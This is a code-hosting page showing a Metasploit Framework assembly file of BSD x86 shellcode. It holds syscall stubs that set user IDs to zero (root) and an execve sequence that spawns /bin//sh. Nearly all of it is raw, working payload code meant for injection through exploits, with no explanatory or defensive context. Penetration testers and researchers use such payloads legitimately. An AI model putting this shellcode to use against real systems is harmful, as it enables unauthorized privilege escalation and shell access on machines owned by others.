CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-shellcode.s
Views: 11766
1
/*
2
* bsd-x86-shellcode.s
3
* Copyright 2004 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
.global _start
22
23
_start:
24
25
setresuidcode:
26
xorl %eax,%eax
27
pushl %eax
28
pushl %eax
29
pushl %eax
30
pushl %eax
31
movw $0x0137,%ax
32
int $0x80
33
34
setreuidcode:
35
xorl %eax,%eax
36
pushl %eax
37
pushl %eax
38
pushl %eax
39
movb $0x7e,%al
40
int $0x80
41
42
setuidcode:
43
xorl %eax,%eax
44
pushl %eax
45
pushl %eax
46
movb $0x17,%al
47
int $0x80
48
49
exitcode:
50
xorl %eax,%eax
51
pushl %eax
52
movb $0x01,%al
53
int $0x80
54
55
# 23 bytes
56
57
shellcode:
58
xorl %eax,%eax
59
pushl %eax
60
pushl $0x68732f2f
61
pushl $0x6e69622f
62
movl %esp,%ebx
63
pushl %eax
64
pushl %esp
65
pushl %ebx
66
pushl %eax
67
movb $0x3b,%al
68
int $0x80
69
70
71